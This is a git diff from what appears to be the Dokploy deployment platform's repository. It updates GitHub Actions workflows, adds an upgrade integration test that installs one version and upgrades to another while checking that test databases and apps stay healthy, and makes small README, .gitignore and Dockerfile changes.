file: ./Dockerfile.monitoring
|
||||
@@ -84,27 +91,29 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Create and push manifests
|
||||
run: |
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
TAG="latest"
|
||||
|
||||
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
|
||||
${IMAGE_NAME}:${TAG}-amd64 \
|
||||
${IMAGE_NAME}:${TAG}-arm64
|
||||
|
||||
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
|
||||
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
|
||||
TAG="canary"
|
||||
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
|
||||
${IMAGE_NAME}:${TAG}-amd64 \
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
|
||||
name: PR Quality
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
issues: read
|
||||
pull-requests: write
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [opened, reopened]
|
||||
|
||||
jobs:
|
||||
anti-slop:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: peakoss/anti-slop@v0
|
||||
with:
|
||||
blocked-commit-authors: "claude,copilot"
|
||||
require-description: true
|
||||
min-account-age: 5
|
||||
@@ -14,9 +14,11 @@ jobs:
|
||||
matrix:
|
||||
job: [build, test, typecheck]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: pnpm/action-setup@v4
|
||||
- uses: actions/setup-node@v4
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: pnpm/action-setup@v6
|
||||
- uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 24.4.0
|
||||
cache: "pnpm"
|
||||
|
||||
@@ -12,17 +12,20 @@ on:
|
||||
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
generate-and-commit:
|
||||
name: Generate OpenAPI and commit to Dokploy repo
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout Dokploy repository
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
- uses: pnpm/action-setup@v4
|
||||
- uses: actions/setup-node@v4
|
||||
persist-credentials: false
|
||||
- uses: pnpm/action-setup@v6
|
||||
- uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 24.4.0
|
||||
cache: "pnpm"
|
||||
@@ -110,3 +113,24 @@ jobs:
|
||||
|
||||
echo "✅ OpenAPI synced to CLI repository successfully"
|
||||
|
||||
- name: Sync to SDK repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git sdk-repo
|
||||
|
||||
cd sdk-repo
|
||||
|
||||
cp -f ../openapi.json openapi.json
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
|
||||
git add openapi.json
|
||||
git commit -m "chore: sync OpenAPI specification [skip ci]" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
-m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
|
||||
--allow-empty
|
||||
|
||||
git push
|
||||
|
||||
echo "✅ OpenAPI synced to SDK repository successfully"
|
||||
|
||||
|
||||
@@ -1,83 +0,0 @@
|
||||
name: Sync version to MCP and CLI repos
|
||||
|
||||
on:
|
||||
release:
|
||||
types: [published]
|
||||
push:
|
||||
tags:
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
sync-version:
|
||||
name: Sync version to external repos
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout Dokploy repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Get version
|
||||
id: get_version
|
||||
run: |
|
||||
VERSION=$(jq -r .version apps/dokploy/package.json | sed 's/^v//')
|
||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||
echo "Version: $VERSION"
|
||||
|
||||
- name: Sync version to MCP repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
|
||||
cd /tmp/mcp-repo
|
||||
|
||||
# Regenerate tools from latest OpenAPI spec
|
||||
npm install -g pnpm
|
||||
pnpm install
|
||||
pnpm run fetch-openapi
|
||||
pnpm run generate
|
||||
|
||||
# Bump version after install so pnpm install doesn't overwrite it
|
||||
jq --arg v "${{ steps.get_version.outputs.version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ steps.get_version.outputs.version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
-m "Release: ${{ github.event.release.html_url }}" \
|
||||
--allow-empty
|
||||
|
||||
git push
|
||||
|
||||
|
||||
- name: Sync version to CLI repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
|
||||
|
||||
cd /tmp/cli-repo
|
||||
|
||||
# Copy latest openapi spec and regenerate commands
|
||||
cp ${{ github.workspace }}/openapi.json ./openapi.json
|
||||
npm install -g pnpm
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
# Bump version after install so pnpm install doesn't overwrite it
|
||||
if [ -f package.json ]; then
|
||||
jq --arg v "${{ steps.get_version.outputs.version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
fi
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ steps.get_version.outputs.version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
-m "Release: ${{ github.event.release.html_url }}" \
|
||||
--allow-empty
|
||||
|
||||
git push
|
||||
|
||||
echo "CLI repo synced to version ${{ steps.get_version.outputs.version }}"
|
||||
|
||||
@@ -0,0 +1,442 @@
|
||||
# Upgrade Integration Test
|
||||
#
|
||||
# Tests that Dokploy can upgrade from version A to version B while keeping
|
||||
# user projects (Postgres, MongoDB, two web apps, one static site) alive.
|
||||
#
|
||||
# Generates upgrade pairs: each stable tag in [floor_version, target_version)
|
||||
# is paired with target_version. If target_version is empty, the highest tag
|
||||
# available on Docker Hub is used as the target.
|
||||
#
|
||||
# Only triggered manually to avoid burning Actions minutes.
|
||||
|
||||
name: Upgrade Integration Test
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
floor_version:
|
||||
description: 'Oldest version tag to include in pairs (e.g. v0.29.4)'
|
||||
required: false
|
||||
default: 'v0.29.4'
|
||||
target_version:
|
||||
description: 'Target version to upgrade to (version B). Leave empty to use the highest available.'
|
||||
required: false
|
||||
default: ''
|
||||
|
||||
env:
|
||||
DOKPLOY_IMAGE: dokploy/dokploy
|
||||
DOKPLOY_SERVICE: dokploy
|
||||
DOKPLOY_PORT: 3000
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
# ──────────────────────────────────────────────────────────────────────────────
|
||||
jobs:
|
||||
|
||||
# ── 1. Build the matrix ─────────────────────────────────────────────────────
|
||||
build-matrix:
|
||||
name: Build upgrade pair matrix
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
pairs: ${{ steps.pairs.outputs.pairs }}
|
||||
|
||||
steps:
|
||||
- name: Generate pairs
|
||||
id: pairs
|
||||
env:
|
||||
FLOOR: ${{ inputs.floor_version }}
|
||||
TARGET: ${{ inputs.target_version }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
# semver "a >= b" comparison helper (vX.Y.Z, strips leading v)
|
||||
ge() {
|
||||
[ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ]
|
||||
}
|
||||
|
||||
# Fetch all semver tags from Docker Hub (dokploy/dokploy)
|
||||
ALL_TAGS=$(curl -fsSL \
|
||||
"https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \
|
||||
jq -r '.results[].name' | \
|
||||
grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \
|
||||
sort -V)
|
||||
|
||||
echo "All tags found:"
|
||||
echo "$ALL_TAGS"
|
||||
|
||||
# Target version (version B): explicit input, else highest available.
|
||||
if [ -n "$TARGET" ]; then
|
||||
TO="$TARGET"
|
||||
echo "Using user-supplied target version: $TO"
|
||||
else
|
||||
TO=$(echo "$ALL_TAGS" | tail -n1)
|
||||
echo "No target supplied; using highest available: $TO"
|
||||
fi
|
||||
|
||||
# Floor semver components
|
||||
FLOOR_CLEAN="${FLOOR#v}"
|
||||
IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN"
|
||||
|
||||
# Each tag in [FLOOR, TO) → TO
|
||||
PAIRS='[]'
|
||||
while read -r TAG; do
|
||||
[ -z "$TAG" ] && continue
|
||||
# skip tags above-or-equal to the target (incl. the target itself)
|
||||
ge "$TAG" "$TO" && continue
|
||||
TAG_CLEAN="${TAG#v}"
|
||||
IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN"
|
||||
if [ "$T_MAJ" -gt "$F_MAJ" ] || \
|
||||
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \
|
||||
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then
|
||||
PAIRS=$(echo "$PAIRS" | jq -c \
|
||||
--arg f "$TAG" --arg t "$TO" \
|
||||
'. + [{"from":$f,"to":$t}]')
|
||||
fi
|
||||
done <<< "$ALL_TAGS"
|
||||
|
||||
COUNT=$(echo "$PAIRS" | jq 'length')
|
||||
echo "Total pairs: $COUNT"
|
||||
echo "$PAIRS" | jq -r '.[] | " \(.from) → \(.to)"'
|
||||
|
||||
echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT"
|
||||
|
||||
|
||||
# ── 2. Run one upgrade test per pair ────────────────────────────────────────
|
||||
upgrade-test:
|
||||
name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}"
|
||||
needs: build-matrix
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }}
|
||||
|
||||
steps:
|
||||
|
||||
# ── Environment setup ──────────────────────────────────────────────────
|
||||
- name: Free disk space
|
||||
run: |
|
||||
sudo rm -rf \
|
||||
/usr/share/dotnet /opt/ghc /usr/local/share/boost \
|
||||
"$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \
|
||||
/usr/local/share/chromium /opt/hostedtoolcache
|
||||
docker system prune -af --volumes
|
||||
df -h
|
||||
|
||||
# ── Install Dokploy directly at VERSION A ──────────────────────────────
|
||||
# install.sh:
|
||||
# • requires root (run via sudo bash)
|
||||
# • respects DOKPLOY_VERSION → installs that tag directly
|
||||
# (so we don't need a separate "downgrade" step that would risk
|
||||
# running B's migrations on A's expected schema)
|
||||
# • respects ADVERTISE_ADDR → skip the external IP lookup
|
||||
# • initializes Docker Swarm + dokploy-network itself
|
||||
- name: Install Dokploy at VERSION A (${{ matrix.pair.from }})
|
||||
run: |
|
||||
curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh
|
||||
chmod +x /tmp/install.sh
|
||||
sudo -E env \
|
||||
DOKPLOY_VERSION="${{ matrix.pair.from }}" \
|
||||
ADVERTISE_ADDR="127.0.0.1" \
|
||||
bash /tmp/install.sh
|
||||
|
||||
- name: Wait for dokploy service to converge on ${{ matrix.pair.from }}
|
||||
run: |
|
||||
echo "Waiting for 'dokploy' Swarm service to reach 1/1..."
|
||||
timeout 240 bash -c '
|
||||
until docker service ls --filter name=dokploy \
|
||||
--format "{{.Name}} {{.Replicas}}" \
|
||||
| grep "^dokploy " | grep -q " 1/1"; do
|
||||
sleep 4
|
||||
done
|
||||
'
|
||||
docker service ls
|
||||
echo "✅ Service running on ${{ matrix.pair.from }}"
|
||||
|
||||
- name: Wait for Dokploy API to accept requests
|
||||
run: |
|
||||
timeout 180 bash -c '
|
||||
until curl -sf -o /dev/null \
|
||||
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
|
||||
sleep 3
|
||||
done
|
||||
'
|
||||
echo "✅ Dokploy API is up"
|
||||
|
||||
# ── Bootstrap admin user ───────────────────────────────────────────────
|
||||
- name: Register first admin user
|
||||
id: auth
|
||||
run: |
|
||||
COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt"
|
||||
: > "$COOKIE_JAR"
|
||||
chmod 600 "$COOKIE_JAR"
|
||||
echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# better-auth: sign-up/email (allowed only before any owner exists)
|
||||
set -x
|
||||
curl -sS -i -X POST \
|
||||
"http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \
|
||||
-H "Content-Type: application/json" \
|
||||
-c "$COOKIE_JAR" -b "$COOKIE_JAR" \
|
||||
-d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \
|
||||
| tee /tmp/signup.out
|
||||
set +x
|
||||
|
||||
# Verify we got a session cookie
|
||||
if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then
|
||||
echo "⚠️ No session cookie matched expected name; jar contents:"
|
||||
cat "$COOKIE_JAR"
|
||||
fi
|
||||
|
||||
# ── Create test resources ──────────────────────────────────────────────
|
||||
- name: Create project, databases and applications
|
||||
id: create
|
||||
env:
|
||||
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
# --- tRPC POST helper ---
|
||||
trpc_mut() {
|
||||
curl -sf -X POST "$BASE/api/trpc/$1" \
|
||||
-H "Content-Type: application/json" \
|
||||
-b "$COOKIE" -c "$COOKIE" \
|
||||
-d "{\"json\":$2}"
|
||||
}
|
||||
|
||||
# --- Project ---
|
||||
PROJECT=$(trpc_mut project.create \
|
||||
'{"name":"ci-upgrade-test","description":"CI upgrade integration test"}')
|
||||
echo "project.create → $PROJECT"
|
||||
|
||||
# project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}}
|
||||
PROJECT_ID=$(echo "$PROJECT" | jq -r \
|
||||
'.result.data.json.project.projectId // .result.data.json.projectId // empty')
|
||||
ENV_ID=$(echo "$PROJECT" | jq -r \
|
||||
'.result.data.json.environment.environmentId // empty')
|
||||
|
||||
if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then
|
||||
echo "❌ Could not extract projectId from project.create response:"
|
||||
echo "$PROJECT" | jq .
|
||||
exit 1
|
||||
fi
|
||||
if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then
|
||||
echo "❌ Could not extract environmentId — this version may not support environments."
|
||||
echo " project.create response: $PROJECT"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT"
|
||||
echo "env_id=$ENV_ID" >> "$GITHUB_OUTPUT"
|
||||
echo "Detected PROJECT_ID=$PROJECT_ID ENV_ID=$ENV_ID"
|
||||
|
||||
# --- PostgreSQL 15 ---
|
||||
PG=$(trpc_mut postgres.create \
|
||||
"{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\
|
||||
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
|
||||
\"databasePassword\":\"CiPg1pass\",\
|
||||
\"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}")
|
||||
echo "postgres.create → $PG"
|
||||
PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId')
|
||||
# deploy (not start) — deploy creates the Swarm service; start only
|
||||
# scales an already-deployed service and 500s on a fresh resource.
|
||||
trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null
|
||||
echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# --- MongoDB 7.0 ---
|
||||
MG=$(trpc_mut mongo.create \
|
||||
"{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\
|
||||
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
|
||||
\"databasePassword\":\"CiMg1pass\",\
|
||||
\"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}")
|
||||
echo "mongo.create → $MG"
|
||||
MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId')
|
||||
trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null
|
||||
echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# --- Docker-image application helper ---
|
||||
make_app() {
|
||||
local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3
|
||||
APP=$(trpc_mut application.create \
|
||||
"{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}")
|
||||
APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId')
|
||||
trpc_mut application.saveDockerProvider \
|
||||
"{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\
|
||||
\"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \
|
||||
> /dev/null
|
||||
trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \
|
||||
> /dev/null
|
||||
echo "$APP_ID"
|
||||
}
|
||||
|
||||
# Static site (nginx)
|
||||
APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine")
|
||||
echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# Node.js hello-world (echo server image — small, no args needed)
|
||||
APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest")
|
||||
echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# Go HTTP server (traefik/whoami is a tiny Go binary, port 80)
|
||||
APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest")
|
||||
echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT"
|
||||
|
||||
echo "✅ All resources created"
|
||||
|
||||
# ── Pre-upgrade health check ───────────────────────────────────────────
|
||||
- name: Wait for all services → 'done' (pre-upgrade)
|
||||
env:
|
||||
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||
PG_ID: ${{ steps.create.outputs.pg_id }}
|
||||
MG_ID: ${{ steps.create.outputs.mg_id }}
|
||||
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
|
||||
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
|
||||
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
|
||||
run: |
|
||||
wait_done() {
|
||||
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
|
||||
echo "Waiting for $NAME to reach 'done'..."
|
||||
timeout 360 bash -c "
|
||||
until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \
|
||||
--data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \
|
||||
-b '$COOKIE' | \
|
||||
jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \
|
||||
= 'done' ]; do
|
||||
sleep 5
|
||||
done
|
||||
"
|
||||
echo "✅ $NAME is done"
|
||||
}
|
||||
|
||||
wait_done postgres postgres.one postgresId "$PG_ID" applicationStatus
|
||||
wait_done mongo mongo.one mongoId "$MG_ID" applicationStatus
|
||||
wait_done static application.one applicationId "$APP_STATIC_ID" applicationStatus
|
||||
wait_done node-app application.one applicationId "$APP_NODE_ID" applicationStatus
|
||||
wait_done go-app application.one applicationId "$APP_GO_ID" applicationStatus
|
||||
|
||||
- name: Assert Docker Swarm services healthy (pre-upgrade)
|
||||
run: |
|
||||
echo "=== docker service ls ==="
|
||||
docker service ls
|
||||
|
||||
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
|
||||
grep -E '^ci-' | grep -v ' 1/1' || true)
|
||||
if [ -n "$FAIL" ]; then
|
||||
echo "❌ User services not healthy before upgrade:"
|
||||
echo "$FAIL"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ All user services healthy before upgrade"
|
||||
|
||||
# ── Upgrade ────────────────────────────────────────────────────────────
|
||||
- name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }})
|
||||
run: |
|
||||
docker service update \
|
||||
--image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \
|
||||
--force \
|
||||
"${{ env.DOKPLOY_SERVICE }}"
|
||||
|
||||
echo "Waiting for service to converge on ${{ matrix.pair.to }}..."
|
||||
timeout 240 bash -c '
|
||||
until ! docker service inspect dokploy \
|
||||
--format "{{.UpdateStatus.State}}" 2>/dev/null \
|
||||
| grep -q "^updating$"; do
|
||||
sleep 4
|
||||
done
|
||||
until docker service ls --filter name=dokploy \
|
||||
--format "{{.Name}} {{.Replicas}}" \
|
||||
| grep "^dokploy " | grep -q " 1/1"; do
|
||||
sleep 4
|
||||
done
|
||||
'
|
||||
echo "✅ Service running on ${{ matrix.pair.to }}"
|
||||
|
||||
- name: Wait for Dokploy API to respond post-upgrade
|
||||
run: |
|
||||
timeout 180 bash -c '
|
||||
until curl -sf -o /dev/null \
|
||||
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
|
||||
sleep 3
|
||||
done
|
||||
'
|
||||
echo "✅ Dokploy API is up after upgrade"
|
||||
|
||||
# ── Post-upgrade health check ──────────────────────────────────────────
|
||||
- name: Verify all services still healthy (post-upgrade)
|
||||
env:
|
||||
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||
PG_ID: ${{ steps.create.outputs.pg_id }}
|
||||
MG_ID: ${{ steps.create.outputs.mg_id }}
|
||||
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
|
||||
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
|
||||
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
|
||||
run: |
|
||||
check_status() {
|
||||
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
|
||||
STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \
|
||||
--data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \
|
||||
-b "$COOKIE" | \
|
||||
jq -r ".result.data.json.$STATUS_KEY // \"unknown\"")
|
||||
if [ "$STATUS" != "done" ]; then
|
||||
echo "❌ $NAME status after upgrade: $STATUS"
|
||||
return 1
|
||||
fi
|
||||
echo "✅ $NAME: $STATUS"
|
||||
}
|
||||
|
||||
check_status postgres postgres.one postgresId "$PG_ID" applicationStatus
|
||||
check_status mongo mongo.one mongoId "$MG_ID" applicationStatus
|
||||
check_status static application.one applicationId "$APP_STATIC_ID" applicationStatus
|
||||
check_status node-app application.one applicationId "$APP_NODE_ID" applicationStatus
|
||||
check_status go-app application.one applicationId "$APP_GO_ID" applicationStatus
|
||||
|
||||
echo "=== docker service ls (post-upgrade) ==="
|
||||
docker service ls
|
||||
|
||||
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
|
||||
grep -E '^ci-' | grep -v ' 1/1' || true)
|
||||
if [ -n "$FAIL" ]; then
|
||||
echo "❌ User services not healthy after upgrade:"
|
||||
echo "$FAIL"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}"
|
||||
|
||||
# ── Diagnostics on failure ─────────────────────────────────────────────
|
||||
- name: Dump state on failure
|
||||
if: failure()
|
||||
run: |
|
||||
echo "=== docker service ls ===" && docker service ls || true
|
||||
echo "=== dokploy service tasks ===" && \
|
||||
docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true
|
||||
echo "=== dokploy logs (last 200) ===" && \
|
||||
docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true
|
||||
echo "=== install.sh tail ===" && \
|
||||
tail -100 /tmp/install.sh 2>&1 || true
|
||||
echo "=== signup response ===" && \
|
||||
cat /tmp/signup.out 2>&1 || true
|
||||
echo "=== disk usage ===" && df -h
|
||||
|
||||
# ── Job summary ────────────────────────────────────────────────────────
|
||||
- name: Write job summary
|
||||
if: always()
|
||||
env:
|
||||
JOB_STATUS: ${{ job.status }}
|
||||
run: |
|
||||
STATUS="$JOB_STATUS"
|
||||
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
|
||||
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
|
||||
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
|
||||
|
||||
| Service | Image |
|
||||
|---------|-------|
|
||||
| ci-pg-db | postgres:15 |
|
||||
| ci-mongo-db | mongo:7.0 |
|
||||
| ci-static-app | nginx:alpine (static site) |
|
||||
| ci-node-app | ealen/echo-server (Node.js hello-world) |
|
||||
| ci-go-app | traefik/whoami (Go HTTP server) |
|
||||
EOF
|
||||
+4
-1
@@ -43,4 +43,7 @@ yarn-error.log*
|
||||
*.pem
|
||||
|
||||
|
||||
.db
|
||||
.db
|
||||
|
||||
.playwright-*
|
||||
.credentials
|
||||
@@ -0,0 +1,2 @@
|
||||
.env
|
||||
.env.local
|
||||
@@ -0,0 +1,6 @@
|
||||
## Code style
|
||||
- Don't write comments that restate what the code already says.
|
||||
- Comment only the "why" when something isn't obvious: workarounds,
|
||||
counterintuitive decisions, constraints from an external API.
|
||||
- No section-divider comments like `// --- Helpers ---`.
|
||||
- Don't leave comments describing the change you just made.
|
||||
+10
-2
@@ -120,12 +120,20 @@ pnpm run docker:push
|
||||
|
||||
## Password Reset
|
||||
|
||||
In the case you lost your password, you can reset it using the following command
|
||||
In the case you lost your password, you can reset the owner's password using the following command
|
||||
|
||||
```bash
|
||||
pnpm run reset-password
|
||||
pnpm --filter=dokploy run reset-password
|
||||
```
|
||||
|
||||
To reset the password of a specific user instead, pass their email as an argument
|
||||
|
||||
```bash
|
||||
pnpm --filter=dokploy run reset-password user@example.com
|
||||
```
|
||||
|
||||
Both commands print the new randomly generated password to the console.
|
||||
|
||||
If you want to test the webhooks on development mode using localtunnel, make sure to install [`localtunnel`](https://localtunnel.app/)
|
||||
|
||||
```bash
|
||||
|
||||
+6
-2
@@ -31,7 +31,7 @@ WORKDIR /app
|
||||
# Set production
|
||||
ENV NODE_ENV=production
|
||||
|
||||
RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
|
||||
RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Copy only the necessary files
|
||||
COPY --from=build /prod/dokploy/.next ./.next
|
||||
@@ -69,4 +69,8 @@ EXPOSE 3000
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
|
||||
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
|
||||
|
||||
CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
|
||||
# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
|
||||
ENTRYPOINT ["/usr/bin/tini", "--"]
|
||||
|
||||
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
|
||||
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
|
||||
|
||||
@@ -26,6 +26,7 @@ Dokploy includes multiple features to make your life easier.
|
||||
- **Templates**: Deploy open-source templates (Plausible, Pocketbase, Calcom, etc.) with a single click.
|
||||
- **Traefik Integration**: Automatically integrates with Traefik for routing and load balancing.
|
||||
- **Real-time Monitoring**: Monitor CPU, memory, storage, and network usage for every resource.
|
||||
- **Logs & Metrics**: Ship container logs and host/container metrics to Grafana (Loki, Prometheus/Mimir), Datadog, New Relic, InfluxDB, VictoriaMetrics, Better Stack, Elasticsearch/OpenSearch, Splunk, or AWS CloudWatch, tagged by project/environment/application.
|
||||
- **Docker Management**: Easily deploy and manage Docker containers.
|
||||
- **CLI/API**: Manage your applications and databases using the command line or through the API.
|
||||
- **Notifications**: Get notified when your deployments succeed or fail (via Slack, Discord, Telegram, Email, etc.).
|
||||
|
||||
@@ -6,3 +6,13 @@ npm run dev
|
||||
```
|
